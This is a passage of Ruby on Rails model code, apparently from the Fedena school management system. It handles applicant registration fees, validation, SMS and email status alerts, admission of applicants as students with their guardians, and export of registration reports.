normal_subjects=registration_course.course.batches.active.map(&:normal_batch_subject).flatten.compact.map(&:code).compact.flatten.uniq normal_subject_amount=subject_amounts.find(:all,:conditions => {:code => normal_subjects}).flatten.compact.map(&:amount).sum.to_f return (normal_subject_amount+ele_subject_amount+registration_course.amount.to_f) end return (ele_subject_amount+registration_course.amount.to_f) else return registration_course.amount.to_f end end def validate unless self.is_updating_status check_mandatory_fields if registration_course.is_subject_based_registration.present? subject_count = subject_ids.nil? ? 0 : subject_ids.count min_subject_count = registration_course.min_electives.nil? ? 0 : registration_course.min_electives max_subject_count = registration_course.max_electives.nil? ? 0 : registration_course.max_electives if subject_count < min_subject_count or subject_count > max_subject_count errors.add_to_base :select_elective_range end end errors.add(:date_of_birth, :cannot_be_future) if date_of_birth > Date.today end end # def before_save # if registration_course.subject_based_fee_colletion == true # all_subjects = subject_ids # all_subjects += normal_subject_ids unless normal_subject_ids.nil? # total_amount = registration_course.course.subject_amounts.find(:all,:conditions => {:code => all_subjects}).flatten.compact.map(&:amount).sum # self.amount = total_amount.to_f # else # self.amount = registration_course.amount.to_f # end # end def initialize_children applicant_guardians.each {|g| g.applicant=self} applicant_addl_values.each {|g| g.applicant=self} applicant_additional_details.each {|g| g.applicant=self} applicant_addl_attachments.each {|g| g.applicant=self} applicant_previous_data.applicant=self if applicant_previous_data.present? end def send_notification unless (self.being_allotted.present? and self.being_allotted == true) if (self.changed and self.changed.include?('status') and self.submitted==true) send_email_and_sms_alert end end end def send_email_and_sms_alert app_status = self.application_status if app_status.present? and app_status.notification_enabled==true status_text = app_status.is_default==true ? t(app_status.name) : app_status.name reg_course = self.registration_course reg_course_name = reg_course.display_name.present? ? reg_course.display_name : reg_course.course.course_name if self.phone2.present? sms_setting = SmsSetting.new() if sms_setting.application_sms_active recipients = [] message = "#{t('dear')} #{self.first_name}, #{t('status_of_your_application_with_reg_no')} #{self.reg_no} #{t('for_text')} #{reg_course_name} #{t('updated_to')} #{status_text}. #{t('thanks')}" recipients.push self.phone2.split(',') if recipients.present? recipients.flatten! if recipients.present? recipients.uniq! if recipients.present? Delayed::Job.enqueue(SmsManager.new(message, recipients), {:queue => 'sms'}) end end end if (self.email.present? and self.hostname.present?) begin Delayed::Job.enqueue(FedenaApplicantRegistration::ApplicantMail.new(self.full_name, self.email, self.reg_no, reg_course_name, status_text, self.school_details, self.hostname), {:queue => 'email'}) rescue Exception => e puts "Error------#{e.message}------#{e.backtrace.inspect}" return end end end end def school_details name=Configuration.get_config_value('InstitutionName').present? ? "#{Configuration.get_config_value('InstitutionName')}," :"" address=Configuration.get_config_value('InstitutionAddress').present? ? "#{Configuration.get_config_value('InstitutionAddress')}," :"" Configuration.get_config_value('InstitutionPhoneNo').present?? phone="#{' Ph:'}#{Configuration.get_config_value('InstitutionPhoneNo')}" :"" return (name+"#{' '}#{address}"+"#{phone}").chomp(',') end def set_pending_status pending_status=ApplicationStatus.find_by_name("pending") unless pending_status.present? default_statuses = ApplicationStatus.create_defaults_and_return pending_status = default_statuses.select{|s| s.name=="pending"}.first end self.status=pending_status.id end def check_email !email.blank? end def check_guardian_addl_values guardian_addl_values = self.applicant_addl_values.select{|v| v.temp_guardian_ind.present?} if guardian_addl_values.present? app_guardians = self.applicant_guardians guardian_addl_values.each do|g| g.update_attributes(:applicant_guardian_id=>app_guardians[g.temp_guardian_ind].id,:temp_guardian_ind=>nil) end end end # def check_course_is_active # unless self.registration_course.is_active # errors.add_to_base :error1 # false # else # true # end # end def generate_reg_no if (self.submitted == true and !self.reg_no.present?) last_applicant = Applicant.find(:first,:conditions=>["reg_no is not NULL"], :order=>"CONVERT(reg_no,unsigned) DESC") if last_applicant last_reg_no = last_applicant.reg_no.to_i else last_reg_no = 0 end self.reg_no = last_reg_no.next end end def full_name if middle_name.present? "#{first_name} #{middle_name} #{last_name}".strip else "#{first_name} #{last_name}".strip end end def gender_as_text return "Male" if gender.downcase == "m" return "Female" if gender.downcase == "f" end def admit(batchid) flag = 0 student_obj = nil msg = [] student = nil Applicant.transaction do unless self.application_status.name == "alloted" attr = self.attributes.except('student_id') ["id","created_at","updated_at","status","reg_no","registration_course_id","applicant_previous_data_id",\ "school_id","applicant_guardians_id","has_paid","photo_file_size","photo_file_name","photo_content_type","pin_number","print_token","subject_ids","is_academically_cleared","is_financially_cleared","amount","normal_subject_ids","submitted","subject_amounts"].each{|a| attr.delete(a)} student = Student.new(attr) app_prev_data = self.applicant_previous_data if app_prev_data.present? and app_prev_data.last_attended_school.present? prev_data = student.build_student_previous_data(:institution=>app_prev_data.last_attended_school,\ :year=>"#{app_prev_data.qualifying_exam_year}", :course=>"#{app_prev_data.qualifying_exam}(#{app_prev_data.qualifying_exam_roll})", :total_mark=>app_prev_data.qualifying_exam_final_score ) end batch = Batch.find(batchid) if registration_course.is_subject_based_registration == true subject_codes = Set.new(batch.subjects.all(:conditions => {:is_deleted => false}).map(&:code)) applicant_subject_codes = Set.new(((subject_ids.nil? ? [] : subject_ids) + (normal_subject_ids.nil? ? [] : normal_subject_ids)).compact.flatten) if applicant_subject_codes.subset?(subject_codes) student.batch_id = batch.id subjects = student.batch.subjects.find(:all,:conditions => {:code => subject_ids}) subjects.map{|subject| student.students_subjects.build(:batch_id => student.batch_id,:subject_id => subject.id)} else student.errors.add_to_base :batch_not_contain_the_applicant_choosen end else student.batch_id = batchid end student.admission_no = User.next_admission_no("student")||"#{batch.course.code.gsub(' ','')[0..2]}-#{Date.today.year}-1" student.admission_date = Date.today student.photo = self.photo if self.photo.file? if student.errors.blank? and student.save if self.applicant_guardians.present? guardian_saved = 1 self.applicant_guardians.each do|g| guardian_attr = g.attributes ["created_at","updated_at","applicant_id","school_id"].each{|a| guardian_attr.delete(a)} guardian = student.guardians.new(guardian_attr) guardian.ward_id= student.id unless guardian.save guardian_saved = 0 msg << guardian.errors.full_messages end end if guardian_saved == 1 msg << "#{t('alloted_to')}" flag = 1 end else msg << "#{t('alloted_to')}" flag = 1 end if self.applicant_addl_attachments.present? attachments = self.applicant_addl_attachments attachments.each do |att| if att.attachment.present? s = student.student_attachments.build({:is_registered => true, :batch_id => student.batch_id}) s.attachment = att.attachment s.attachment_content_type = att.attachment_content_type s.attachment_name = att.attachment_file_name s.save end end end prev_data.save if prev_data self.status = ApplicationStatus.find_by_name_and_is_default("alloted",true) self.batch_id = batch.id # linking applicant to student # Note:: no seed planned for older data [ hence for older data student_id will be nil] self.student_id = student.id self.save student_obj = student else msg << student.errors.full_messages end else msg << "#{t('applicant')} ##{self.reg_no} #{t('already_alloted')}" end copy_additional_details(student) unless student.nil? unless flag==1 raise ActiveRecord::Rollback end end if flag==1 guardian_record = Guardian.find_by_ward_id(student.id, :order=>"id ASC") if guardian_record.present? student.update_attributes(:immediate_contact_id=>guardian_record.id) end end ## trigger sync for master particular reporting # Note: an applicant paid fees is not synced to MasterParticularReport unless applicant is admited as student TransactionReportSync.trigger_report_sync_job(self.finance_transaction) [msg,student_obj,flag] end def copy_additional_details(student) #if registration_course.include_additional_details == true applicant_additional_details.each do |applicant_additional_detail| unless applicant_additional_detail.additional_field.nil? student.student_additional_details.build(:additional_field_id => applicant_additional_detail.additional_field_id,:additional_info => applicant_additional_detail.additional_info) end end student.save #end end def self.process_search_params(s) course_min_score = RegistrationCourse.find(s[:registration_course_id]) if s[:status]=="eligible" s[:applicant_previous_data_qualifying_exam_final_score_gte]=course_min_score.minimum_score s.delete(:status) elsif s[:status]=="noteligible" s[:applicant_previous_data_qualifying_exam_final_score_lte]=course_min_score.minimum_score s.delete(:status) end s end def self.school_details name=Configuration.get_config_value('InstitutionName').present? ? "#{Configuration.get_config_value('InstitutionName')}," :"" address=Configuration.get_config_value('InstitutionAddress').present? ? "#{Configuration.get_config_value('InstitutionAddress')}," :"" Configuration.get_config_value('InstitutionPhoneNo').present?? phone="#{' Ph:'}#{Configuration.get_config_value('InstitutionPhoneNo')}" :"" return (name+"#{' '}#{address}"+"#{phone}").chomp(',') end def self.commit(ids,batchid,act) if act.downcase=="allot" allot_to(ids,batchid) elsif act.downcase=="discard" discard(ids) end end def self.show_filtered_applicants(registration_course,start_date,end_date,search_params,selected_status,is_active) condition_keys = "submitted = true" condition_values = [] if registration_course.present? condition_keys+=" and registration_course_id = ?" condition_values.push(registration_course.id) end if is_active==true condition_keys+=" and is_deleted = false" else condition_keys+=" and is_deleted = true" end if start_date.present? condition_keys+=" and date(created_at) >= ?" condition_values.push(start_date.to_date) end if end_date.present? condition_keys+=" and date(created_at) <= ?" condition_values.push(end_date.to_date) end if search_params.present? condition_keys+=" and (ltrim(first_name) LIKE ? OR ltrim(middle_name) LIKE ? OR ltrim(last_name) LIKE ? OR reg_no = ? OR (concat(ltrim(rtrim(first_name)), \" \",ltrim(rtrim(last_name))) LIKE ? ) OR (concat(ltrim(rtrim(first_name)), \" \", ltrim(rtrim(middle_name)), \" \",ltrim(rtrim(last_name))) LIKE ? ))" 3.times do condition_values.push("%#{search_params}%") end condition_values.push(search_params) 2.times do condition_values.push("%#{search_params}%") end end if selected_status.present? condition_keys+=" and status = ?" condition_values.push(selected_status.id.to_s) end all_conditions = [] all_conditions.push(condition_keys) all_conditions+=condition_values applicants = Applicant.find(:all,:conditions=>all_conditions,:include=>[:application_status,:batch],:order=>"created_at desc") return applicants end def self.search_by_order(registration_course, sorted_order, search_by) condition_keys = "registration_course_id = ?" condition_values = [] condition_values << registration_course all_conditions=[] if search_by[:status].present? if search_by[:status]=="pending" or search_by[:status]=="alloted" or search_by[:status]=="discarded" condition_keys+=" and status = ?" condition_values << search_by[:status] end end if search_by[:created_at_gte].present? condition_keys+=" and created_at >= ?" condition_values << search_by[:created_at_gte].to_time.beginning_of_day end if search_by[:created_at_lte].present? condition_keys+=" and created_at <= ?" condition_values << search_by[:created_at_lte].to_time.end_of_day end all_conditions << condition_keys all_conditions += condition_values case sorted_order when "reg_no-descend" applicants=self.find(:all, :conditions=>all_conditions, :order => "reg_no desc") when "reg_no-ascend" applicants=self.find(:all, :conditions=>all_conditions, :order => "reg_no asc") when "name-descend" applicants=self.find(:all, :conditions=>all_conditions, :order => "first_name desc") when "name-ascend" applicants=self.find(:all, :conditions=>all_conditions, :order => "first_name asc") when "da_te-descend" applicants=self.find(:all, :conditions=>all_conditions, :order => "created_at desc") when "da_te-ascend" applicants=self.find(:all, :conditions=>all_conditions, :order => "created_at asc") when "status-descend" applicants=self.find(:all, :conditions=>all_conditions, :order => "status desc") when "status-ascend" applicants=self.find(:all, :conditions=>all_conditions, :order => "status asc") when "paid-descend" applicants=self.find(:all, :conditions=>all_conditions, :order => "has_paid desc") when "paid-ascend" applicants=self.find(:all, :conditions=>all_conditions, :order => "has_paid asc") else applicants=self.find(:all, :conditions=>all_conditions) end if search_by[:status]=="eligible" registration_course_data = RegistrationCourse.find_by_id(registration_course) unless registration_course_data.nil? applicants.reject!{|a| !(a.applicant_previous_data.present? and a.applicant_previous_data.qualifying_exam_final_score.to_i >=registration_course_data.minimum_score.to_i )} end elsif search_by[:status]=="noteligible" registration_course_data = RegistrationCourse.find_by_id(registration_course) unless registration_course_data.nil? applicants = applicants.select{|a| !(a.applicant_previous_data.present? and a.applicant_previous_data.qualifying_exam_final_score.to_i >= registration_course_data.minimum_score.to_i )} end end return applicants end def self.allot_to(ids,batchid) errs = [] if ids.kind_of?(Array) apcts = self.find(ids) apcts.each do |apt| errs << apt.admit(batchid).first end errs elsif ids.kind_of?(Integer) self.find(ids).admit(batchid) else false end end def self.discard(ids) if ids.kind_of?(Array) self.update_all({:status=>"discarded"},{:id=>ids}) elsif ids.kind_of?(Integer) self.find(ids).update_attributes(:status=>"discarded") else false end [[t('selected_applicants_discarded_successfully')],1] end def mark_paid if FedenaPlugin.can_access_plugin?("fedena_pay") @active_gateway = PaymentConfiguration.config_value("fedena_gateway") unless @active_gateway.present? transaction = create_finance_transaction_entry return transaction else logger = Logger.new("#{RAILS_ROOT}/log/payment_processor_error.log") begin retries ||= 0 transaction = create_finance_transaction_entry("Online Payment") rescue ActiveRecord::StatementInvalid => er retry if (retries += 1) < 2 logger.info "Error------#{er.message}----for Applicant--#{self.reg_no}" unless (retries += 1) < 2 rescue Exception => e logger.info "Errror-----#{e.message}------for Applicant---#{self.reg_no}" end end else transaction = create_finance_transaction_entry end transaction end def update_payment_and_application_status(application_status,payment_status) if application_status.present? self.status = application_status.id end if payment_status == 1 unless self.has_paid == true transaction = FinanceTransaction.new transaction.title = "Applicant Registration - #{self.reg_no} - #{self.full_name}" transaction.category_id = FinanceTransactionCategory.find_by_name('Applicant Registration').id transaction.amount = amount transaction.fine_included = false transaction.transaction_date = FedenaTimeSet.current_time_to_local_time(Time.now).to_date transaction.payee = self transaction.finance = self.registration_course # to prevent payment mode being blank transaction.payment_mode ||= 'Cash' transaction.save self.has_paid = true end end self.save end def create_finance_transaction_entry(payment_mode=String.new) transaction = FinanceTransaction.new transaction.title = "Applicant Registration - #{self.reg_no} - #{self.full_name}" transaction.category_id = FinanceTransactionCategory.find_by_name('Applicant Registration').id transaction.amount = amount transaction.fine_included = false transaction.transaction_date = FedenaTimeSet.current_time_to_local_time(Time.now).to_date transaction.payee = self transaction.finance = self.registration_course transaction.ledger_status = "PENDING" if self.payment_pending==true # to prevent payment mode being blank transaction.payment_mode = payment_mode.present? ? payment_mode : 'Cash' transaction.save if registration_course.enable_approval_system == true self.update_attributes(:has_paid=>true,:is_financially_cleared => true) else self.update_attributes(:has_paid=>true) end transaction end def mark_academically_cleared self.update_attributes(:is_academically_cleared => true) end def addl_fields @addl_field || {} end def addl_fields=(vals) @addl_field = vals vals.each_with_index do |(k,v),i| v = v.join(",") if v.kind_of?(Array) opt = self.applicant_addl_values.find(:first,:conditions=>{:applicant_addl_field_id=>k}) unless opt.blank? opt.update_attributes(:option=>v) else self.applicant_addl_values.build(:applicant_addl_field_id=>k,:option=>v) end end end def addl_field_hash hsh={} self.applicant_addl_values.each do |a| hsh["#{a.applicant_addl_field_id}"] = a.reverse_value end @addl_field = hsh end def check_mandatory_fields mandatory_attributes = self.m_attr if mandatory_attributes.present? mandatory_attributes.split(", ").each do|m| self.errors.add(m.to_sym,"can't be blank.") unless self.send(m).present? end end # fields=[] # man_fields = self.registration_course.applicant_addl_field_groups.active # man_fields.map{|f| fields << f.applicant_addl_fields.mandatory} # fields.flatten.each do |f| # errors.add_to_base("#{f.field_name} #{t('is_invalid')}") if @addl_field and @addl_field["#{f.id}"].blank? # end errors.blank? end def save_print_token token = rand.to_s[2..8] self.update_attributes(:print_token => token) end # def finance_transaction # FinanceTransaction.first(:conditions=>{:payee_id=>self.id,:payee_type=>'Applicant'}) # end def self.applicant_registration_data(params) reg_course = RegistrationCourse.find(params[:id]) start_date = params[:start_date].present? ? params[:start_date].to_date : "" end_date = params[:end_date].present? ? params[:end_date].to_date : "" search_params = params[:name_search_param].present? ? params[:name_search_param] : "" statuses = ApplicationStatus.all selected_status = params[:selected_status].present? ? statuses.find_by_id(params[:selected_status].to_i) : "" applicants = Applicant.show_filtered_applicants(reg_course,start_date,end_date,search_params,selected_status,(params[:applicant_type]=="active" ? true : false)) data = [] each_row = [] params[:applicant_type] == "active" ? each_row << "#{t('applicants_admins.applicant_s')}" : each_row << "#{t('archived_applicants')}" reg_course.display_name.present? ? each_row << "#{t('course')} : #{reg_course.display_name} (#{reg_course.course.course_name})" : each_row << "#{t('course')} : #{reg_course.course.course_name} (#{reg_course.course.code})" if search_params.present? each_row << "#{t('name_or_reg_no_like')} : #{search_params}" end if start_date.present? each_row << "#{t('start_date')} : #{format_date(start_date)}" end if end_date.present? each_row << "#{t('end_date')} : #{format_date(end_date)}" end if selected_status.present? each_row << "#{t('status')} : " + (selected_status.is_default == true ? "#{t(selected_status.name)}" : "#{selected_status.name}") end data << each_row data << ["#{t('applicants.reg_no')}","#{t('name')}","#{t('applicants_admins.da_te')}","#{t('status')}","#{t('applicants_admins.paid')}"] applicants.each do |applicant| applicant_status = ApplicationStatus.find(applicant.status) status = applicant_status.name data << [applicant.reg_no,applicant.full_name,(format_date(applicant.created_at.to_date) unless applicant.created_at.nil?),status,(applicant.has_paid? ? t('applicants_admins.y_es') : t('applicants_admins.n_o'))] end return data end def self.applicant_registration_detailed_data(params) reg_course = RegistrationCourse.find(params[:id]) start_date = params[:start_date].present? ? params[:start_date].to_date : "" end_date = params[:end_date].present? ? params[:end_date].to_date : "" search_params = params[:name_search_param].present? ? params[:name_search_param] : "" statuses = ApplicationStatus.all selected_status = params[:selected_status].present? ? statuses.find_by_id(params[:selected_status].to_i) : "" applicants = Applicant.show_filtered_applicants(reg_course,start_date,end_date,search_params,selected_status,(params[:applicant_type]=="active" ? true : false)) # search_by ="" # if params[:search].present? # search_by=params[:search] # end # @sort_order="" # if params[:sort_order].present? # @sort_order=params[:sort_order] # end # @results=Applicant.search_by_order(params[:id], @sort_order, search_by) # if @sort_order=="" # @results = @results.sort_by { |u1| [u1.status,u1.created_at.to_date] }.reverse if @results.present? # end # @applicants = @results # @course = RegistrationCourse.find(params[:id]).course application_section = reg_course.application_section unless application_section.present? application_section = ApplicationSection.find_by_registration_course_id(nil) end field_groups = ApplicantAddlFieldGroup.find(:all,:conditions=>["registration_course_id is NULL or registration_course_id = ?",reg_course.id]) applicant_addl_fields = ApplicantAddlField.find(:all,:conditions=>["(registration_course_id is NULL or registration_course_id = ?) and is_active=true",reg_course.id],:include=>:applicant_addl_field_values) applicant_student_addl_fields = ApplicantStudentAddlField.find(:all,:conditions=>["(registration_course_id is NULL or registration_course_id = ?)",reg_course.id],:include=>[:student_additional_field=>:student_additional_field_options]) # addl_attachment_fields = ApplicantAddlAttachmentField.find(:all,:conditions=>["registration_course_id is NULL or registration_course_id = ?",reg_course.id]) default_fields = ApplicationSection::DEFAULT_FIELDS application_sections = application_section.present? ? application_section.section_fields : Marshal.load(Marshal.dump(ApplicationSection::DEFAULT_FORM)) guardian_count = application_section.present? ? application_section.guardian_count : 1 data = [] each_row = [] params[:applicant_type] == "active" ? each_row << "#{t('applicants_admins.applicant_s')}" : each_row << "#{t('archived_applicants')}" reg_course.display_name.present? ? each_row << "#{t('course')} : #{reg_course.display_name} (#{reg_course.course.course_name})" : each_row << "#{t('course')} : #{reg_course.course.course_name} (#{reg_course.course.code})" if search_params.present? each_row << "#{t('name_or_reg_no_like')} : #{search_params}" end if start_date.present? each_row << "#{t('start_date')} : #{format_date(start_date)}" end if end_date.present? each_row << "#{t('end_date')} : #{format_date(end_date)}" end if selected_status.present? each_row << "#{t('status')} : " + (selected_status.is_default == true ? "#{t(selected_status.name)}" : "#{selected_status.name}") end data << each_row each_row=Applicant.header_section(applicant_addl_fields,applicant_student_addl_fields,application_sections,guardian_count,reg_course) data << each_row each_row=Applicant.data_section(applicants,reg_course,field_groups,applicant_addl_fields,applicant_student_addl_fields,default_fields,application_sections,guardian_count) each_row.each do |row| data << row end return data end def self.header_section(applicant_addl_fields,applicant_student_addl_fields,application_sections,guardian_count,reg_course) data = [] data << t('reg_no') guardian_index = 0 application_sections.sort_by{|k| k[:section_order].to_i}.each do|a| if a[:fields].present? if a[:section_name]=="guardian_personal_details" or a[:section_name]=="guardian_contact_details" if a[:section_name]=="guardian_personal_details" while guardian_index < guardian_count guardian_index +=1 a[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if ["true",true,"default_true"].include?(fld[:show_field]) if guardian_count == 1 if fld[:field_type]=="applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) unless addl_field.field_type == "attachment" data << "#{t('guardian')} #{(addl_field.field_name) if addl_field.present?}" end elsif fld[:field_type]=="student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field data << "#{t('guardian')} #{(student_ad_field.name) if student_ad_field.present?}" end else data << "#{t('guardian')} #{t(fld[:field_name])}" end else if fld[:field_type]=="applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) unless addl_field.field_type == "attachment" data << "#{t('guardian')} #{guardian_index} #{(addl_field.field_name) if addl_field.present?}" end elsif fld[:field_type]=="student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field data << "#{t('guardian')} #{guardian_index} #{(student_ad_field.name) if student_ad_field.present?}" end else data << "#{t('guardian')} #{guardian_index} #{t(fld[:field_name])}" end end end end guardian_contact_section = application_sections.find{|as| as[:section_name] == "guardian_contact_details"} if (guardian_contact_section.present? and guardian_contact_section[:fields].present? and (guardian_contact_section[:fields].map{|s| s[:show_field]} - ["false",false]).present?) guardian_contact_section[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if ["true",true,"default_true"].include?(fld[:show_field]) if fld[:field_type]=="applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) unless addl_field.field_type == "attachment" data << "#{t('guardian')} #{guardian_index} #{(addl_field.field_name) if addl_field.present?}" end elsif fld[:field_type]=="student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field data << "#{t('guardian')} #{guardian_index} #{(student_ad_field.name) if student_ad_field.present?}" end else data << "#{t('guardian')} #{guardian_index} #{t(fld[:field_name])}" end end end end end end else a[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if a[:applicant_addl_field_group_id].present? if ["true",true,"default_true"].include?(fld[:show_field]) if fld[:field_type]=="applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) data << (addl_field.field_name) if addl_field.present? elsif fld[:field_type]=="student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field data << (student_ad_field.name) if student_ad_field.present? end end end else if ["true",true,"default_true"].include?(fld[:show_field]) case fld[:field_type] when "default" unless fld[:field_name] == "student_photo" if fld[:field_name] == "choose_electives" data << t(fld[:field_name]) if reg_course.is_subject_based_registration.present? else data << t(fld[:field_name]) end end when "applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) unless addl_field.field_type == "attachment" data << (addl_field.field_name) if addl_field.present? end when "student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field data << (student_ad_field.name) if student_ad_field.present? end end end end end end end end data << t('applicants_admins.paid') data.flatten end def self.data_section(applicants,reg_course,field_groups,applicant_addl_fields,applicant_student_addl_fields,default_fields,application_sections,guardian_count) data=[] applicants.each do |applicant| each_applicant=[] each_applicant << applicant.reg_no application_sections.sort_by{|k| k[:section_order].to_i}.each do|a| field_group = nil get_section = false if a[:applicant_addl_field_group_id].present? field_group = field_groups.find_by_id(a[:applicant_addl_field_group_id].to_i) if field_group.present? get_section = true if (a[:fields].present? and (a[:fields].map{|s| s[:show_field]} - ["false",false]).present?) end else get_section = true if (a[:fields].present? and (a[:fields].map{|s| s[:show_field]} - ["false",false]).present?) get_section = (reg_course.is_subject_based_registration.present? ? true : false) if a[:section_name]=="elective_subjects" end if get_section == true if a[:section_name]=="guardian_personal_details" or a[:section_name]=="guardian_contact_details" if a[:section_name]=="guardian_personal_details" guardian_array = [] guardian_contact_section = application_sections.find{|as| as[:section_name] == "guardian_contact_details"} get_contact_section = false get_contact_section = true if (guardian_contact_section.present? and guardian_contact_section[:fields].present? and (guardian_contact_section[:fields].map{|s| s[:show_field]} - ["false",false]).present?) applicant_guardian_count = applicant.applicant_guardians.count applicant.applicant_guardians.each do|guardian| each_applicant << applicant.get_data_section(a,guardian,applicant_addl_fields,applicant_student_addl_fields ,default_fields,reg_course,applicant) each_applicant << (applicant.get_data_section(guardian_contact_section,guardian,applicant_addl_fields,applicant_student_addl_fields ,default_fields,reg_course,applicant)) if get_contact_section == true end while applicant_guardian_count < guardian_count do applicant_guardian_count += 1 a[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if ["true",true,"default_true"].include?(fld[:show_field]) guardian_array << "" end end guardian_contact_section = application_sections.find{|as| as[:section_name] == "guardian_contact_details"} if (guardian_contact_section.present? and guardian_contact_section[:fields].present? and (guardian_contact_section[:fields].map{|s| s[:show_field]} - ["false",false]).present?) guardian_contact_section[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if ["true",true,"default_true"].include?(fld[:show_field]) guardian_array << "" end end end end each_applicant << guardian_array end else if a[:section_name] == "previous_institution_details" each_applicant << applicant.get_data_section(a,applicant.applicant_previous_data,applicant_addl_fields,applicant_student_addl_fields,default_fields,reg_course,applicant) elsif ["student_personal_details","student_communication_details","elective_subjects"].include?(a[:section_name]) each_applicant << applicant.get_data_section(a,applicant,applicant_addl_fields,applicant_student_addl_fields ,default_fields,reg_course,applicant) else each_applicant << applicant.get_data_section(a,nil,applicant_addl_fields,applicant_student_addl_fields ,default_fields,reg_course,applicant) end end end end each_applicant << (applicant.has_paid? ? t('applicants_admins.y_es') : t('applicants_admins.n_o')) data << each_applicant.flatten end data end def get_data_section(a,section_object,applicant_addl_fields,applicant_student_addl_fields,default_fields,reg_course,applicant) data=[] if a[:applicant_addl_field_group_id].present? a[:fields].sort_by{|l| l[:field_order].to_i}.each do|fld| if ["true",true,"default_true"].include?(fld[:show_field]) case fld[:field_type] when "applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) if addl_field.present? addl_value = applicant.applicant_addl_values.find_by_applicant_addl_field_id(addl_field.id) unless addl_field.field_type == "attachment" if addl_field.field_type == "date" data << ((addl_value.present? and addl_value.option.present?) ? format_date(addl_value.value.to_date,:format=>:long) : "" ) else data << "#{((addl_value.present? and addl_value.option.present?) ? addl_value.value : "")} #{(addl_field.field_type == "singleline" and addl_value.present? and addl_value.option.present?) ? addl_field.suffix : ""}" end end end when "student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field if student_ad_field.present? addl_value = self.applicant_additional_details.find_by_additional_field_id(st_addl_field.student_additional_field_id) data << ((addl_value.present? and addl_value.additional_info.present?) ? addl_value.additional_info : "") end end end end end else default_section = default_fields[a[:section_name].to_sym] a[:fields].sort_by{|l| l[:field_order].to_i}.each_with_index do|fld,ind| if ["true",true,"default_true"].include?(fld[:show_field]) if fld[:field_type] == "default" if default_section.present? field_details = default_section[:fields][fld[:field_name].to_sym] f_attr = (field_details[:field_attr].present? ? field_details[:field_attr] : fld[:field_name]) if section_object.present? if ["country_id","nationality_id"].include?(f_attr.to_s) data << (section_object.send(f_attr.to_s).present? ? Country.find(section_object.send(f_attr.to_s)).name : "") elsif f_attr.to_s == "gender" data << (section_object.send(f_attr.to_s).present? ? (section_object.send(f_attr.to_s).downcase=="m" ? t('male') : t('female')) : "") elsif f_attr.to_s == "relation" data << (section_object.send(f_attr.to_s).present? ? section_object.translated_relation : "") elsif f_attr.to_s == "student_category_id" unless section_object.send(f_attr.to_s).present? data << "" else data << StudentCategory.find(section_object.send(f_attr.to_s)).name end elsif f_attr.to_s == "subject_ids" data << (section_object.send(f_attr.to_s).present? ? section_object.send(f_attr.to_s).map{|s| latest_subject_name(s,reg_course.course_id)}.join(", ") : "") else unless fld[:field_name] == "student_photo" data << (section_object.send(f_attr.to_s).present? ? (section_object.send(f_attr.to_s).class.name == "Date" ? format_date(section_object.send(f_attr.to_s),:format=>:long) : section_object.send(f_attr.to_s)) : "") end end end end else case fld[:field_type] when "applicant_additional" addl_field = applicant_addl_fields.find_by_id(fld[:field_name].to_i) if addl_field.present? if ["guardian_personal_details","guardian_communication_details"].include?(a[:section_name]) addl_value = self.applicant_addl_values.select{|s| (s.applicant_addl_field_id==addl_field.id and s.applicant_guardian_id==section_object.id)}.first else addl_value = self.applicant_addl_values.find_by_applicant_addl_field_id(addl_field.id) end unless addl_field.field_type == "attachment" if addl_field.field_type == "date" data << ((addl_value.present? and addl_value.option.present?) ? format_date(addl_value.value.to_date,:format=>:long) : "") else data << "#{((addl_value.present? and addl_value.option.present?) ? addl_value.value : "")} #{(addl_field.field_type == "singleline" and addl_value.present? and addl_value.option.present?) ? addl_field.suffix : ""}" end end end when "student_additional" st_addl_field = applicant_student_addl_fields.find{|k| k[:student_additional_field_id]==fld[:field_name].to_i} if st_addl_field.present? student_ad_field = st_addl_field.student_additional_field if student_ad_field.present? addl_value = self.applicant_additional_details.find_by_additional_field_id(st_addl_field.student_additional_field_id) data << ((addl_value.present? and addl_value.additional_info.present?) ? addl_value.additional_info : "") end end end end end end end data.flatten end def latest_subject_name (code,course_id) Subject.find_all_by_code_and_batch_id(code,Batch.find_all_by_course_id(course_id)).last.name end def self.search_by_registration_data(params) @search_params = params[:reg_no] @applicants = Applicant.show_filtered_applicants(nil,nil,nil,@search_params,nil,true) data = [] data << [t('applicants.reg_no'),t('course_name'),t('name'),"#{t('applicants_admins.da_te')}",t('status'),t('applicants_admins.has_paid_fees')] @applicants.each do |applicant| data << [applicant.reg_no,applicant.registration_course.try(:course).try(:full_name),applicant.full_name,(format_date(applicant.created_at.to_date) unless applicant.created_at.nil?),(applicant.application_status.is_default == true ? (applicant.application_status.name == "alloted" ? (applicant.batch_id.present? ? "#{t('alloted')} - #{applicant.batch.full_name}" : "#{t('alloted')}") : t(applicant.application_status.name)) : applicant.application_status.name),(applicant.has_paid? ? t('applicants_admins.y_es') : t('applicants_admins.n_o'))] end return data end def self.applicant_guardian_phone(applicants) guardian_phone_numbers = [] applicants.each do |a| phone_numbers = 